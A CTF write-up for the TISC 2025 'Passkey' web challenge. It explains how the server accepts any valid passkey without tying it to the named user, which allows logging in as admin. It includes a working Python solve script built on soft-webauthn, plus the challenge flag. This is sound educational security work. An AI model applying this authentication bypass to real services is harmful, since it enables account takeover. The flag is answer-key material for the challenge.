Passkey

This service is open for anyone to sign up as a user. All you need is a unique username of your choosing, and passkey. Go to https://passkey.chals.tisc25.ctf.sg to begin.

This is a blackbox web challenge involving passkeys. Passkeys are a pretty new authentication method. They can replace passwords by using biometrics (e.g. Windows Hello) or device PIN (e.g. Google Password Manager) to login instead. I couldn’t find any CTF challenges that utilize passkeys online so it’s cool to see it in action here.

On the website, we can register an account or login to an existing account. On the register page, we supply a new username, which sends a POST request to /register/auth. If the username is unique, it redirects us to a “Setting up passkey” page. Here, the Javascript script triggers the browser prompts us to create a passkey for the account. After registering a passkey in your passkey store, the script sends a POST request to /register with our Credential ID, which identifies the passkey we registered. This drops us into the landing page containing an admin dashboard. This page tells us that we can view the dashboard only if we are logged in as the user admin.

After logging out, we can log in again. We first enter our username on the login page, which sends a POST request to /login/auth. This redirects us to an authentication page. Here, the Javascript script contains our credential ID and triggers our browser to authenticate using the passkey with the specified credential ID. After entering our PIN into our passkey manager, the client-side script sends a POST request to /login, which checks our credentials. On successful authentication, we get directed into the same dashboard as earlier.

There are two interesting findings. Firstly, we can supply arbitrary credential IDs when creating a new account. This doesn’t explicitly break the passkey security model. However, the specification actually recommends rejecting duplicate credential IDs. The rationale is that if the server uses credential IDs as a unique identifier and an attacker can discover another user’s credential ID, the attacker can create an account with the same credential ID, confusing the server. This could result in the other user logging into the attacker’s account, or even worse, enabling the attacker to directly log into the other user’s account. The second interesting finding is that we can leak arbitrary users’ credential ID. Recall the login procedure – entering a username redirects to an authentication page with the client-side script containing the credential ID associated with that user. This allows us to retrieve the admin user’s credential ID. With these two findings, I thought the solution would be exactly the vulnerability mentioned in the spec. However, this turned out to be a dead-end as the server properly tracks duplicate credential IDs.

Instead, the solution is simpler. First, register a dummy account. Second, attempt to login to the admin account. This redirects us to the authentication page with the admin’s credential ID. Because we don’t have a credential associated with that credential ID, our passkey manager will fail to log in. Even if we did have a credential associated with that credential ID (by using the credential ID spoofing trick discussed earlier), the server will not authenticate us as our private key does not match the admin’s public key stored on the server. Instead, simply use the dummy account’s passkey to authenticate instead. Due to server misconfiguration, this allows us to login as the admin user. Specifically, we can guess that the server only verifies that the provided passkey is valid, but not that the passkey is actually associated with the specified user.

This challenge took me way longer than it should have. There were quite a few combinations of parameters to modify. At first, I was manually doing this in Zap but the manual modifications were error-prone. So, I shifted to using a Python script, making use of the soft-webauthn library. However, I had to tweak the library’s source code so that its flags matched the flags expected by the server. Finally, after about half a day of trying random things (and then retrying them in case I had incorrect implementations), I stumbled upon the solution.

The solution was actually the first idea I had in my head as I was inspired from SpaceRaccoon’s SecWed talk (psst more SecWeds coming soon!). Unfortunately, due to implementation issues I missed the solution until much later when I went back to try that. I hate blackbox web (skill issue).

For reference, the 2 changes to soft_webauthn.py are flags = b'\x45' in create() and flags = b'\x05' in get().

Solve script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import requests
import random
import string
import base64
from soft_webauthn import SoftWebauthnDevice

def random_string(n):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=n))

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def btw(haystack: str, delim: str, end: str) -> str:
    a = haystack.find(delim)+len(delim)
    b = haystack.find(end, a+1)
    return haystack[a:b]

def base64url_to_buffer(b64url: str) -> bytes:
    padding = '=' * ((4 - len(b64url) % 4) % 4)
    b64 = (b64url + padding).replace('-', '+').replace('_', '/')
    return base64.b64decode(b64)

device = SoftWebauthnDevice()

s = requests.Session()
url = r"https://passkey.chals.tisc25.ctf.sg"

def Reg(username):
    global s, device
    r = s.post(url + "/register/auth", data={"username": username})

    challenge = btw(r.text, r'const challenge = base64UrlToBuffer("', '"')
    client_data_json = b64url_encode(f'\{\{"type":"webauthn.create","challenge":"{challenge}","origin":"https://passkey.chals.tisc25.ctf.sg","crossOrigin":false}}'.encode("ascii"))

    pkcco = {
        'publicKey': {
            'challenge': base64url_to_buffer(challenge),
            'pubKeyCredParams': [
                { 'type': "public-key", 'alg': -7 },  
                { 'type': "public-key", 'alg': -257 },  
            ],
            'rp': {
                'name': "passkey.tisc",
                'id': "passkey.chals.tisc25.ctf.sg",
            },
            'user': {
                'id': username.encode("utf-8"),
                'name': username,
                'displayName': username
            },
        },
    }
    cred = device.create(pkcco, 'https://passkey.chals.tisc25.ctf.sg')
    res = cred["response"]
    attestation_object = b64url_encode(res["attestationObject"])

    r = s.post(url + "/register", data={"username": username, "client_data_json": client_data_json, "attestation_object": attestation_object})
    print(r.text)
    assert f"<strong>{username}" in r.text

def Login(username):
    global s, device
    r = s.post(url + "/login/auth", data={"username": username})
    credential_id = btw(r.text, 'id: base64UrlToBuffer("', '"')
    print("Obtain :", credential_id)
    credential_id = b64url_encode(device.credential_id)

    challenge = btw(r.text, 'challenge: base64UrlToBuffer("', '"')
    client_data_json = b64url_encode(f'\{\{"type":"webauthn.get","challenge":"{challenge}","origin":"https://passkey.chals.tisc25.ctf.sg","crossOrigin":false}}'.encode("ascii"))

    pkcro = {
        'publicKey': {
            'challenge': base64url_to_buffer(challenge),
            'rpId': "passkey.chals.tisc25.ctf.sg",
            'allowCredentials': [
                {
                    'id': base64url_to_buffer("DUvFhC3oiS3G8aO61d5hUMAehmI"),
                    'type': "public-key",
                },
            ],
            'userVerification': "preferred",
        }
    }
    
    res = device.get(pkcro, 'https://passkey.chals.tisc25.ctf.sg')
    authenticator_data = b64url_encode(res['response']['authenticatorData'])
    signature = b64url_encode(res['response']['signature'])
    client_data_json = b64url_encode(res['response']['clientDataJSON'])

    r = s.post(url + "/login", data={"username": username, "credential_id": credential_id, "authenticator_data": authenticator_data, "client_data_json": client_data_json, "signature": signature})
    print(r.text)
    assert f"<strong>{username}" in r.text

username = "arbor" + random_string(6)
Reg(username)
Login('admin')

r = s.get(url + "/admin")
print(r.text)

Flag: TISC{p4ssk3y_is_gr3a7_t|sC}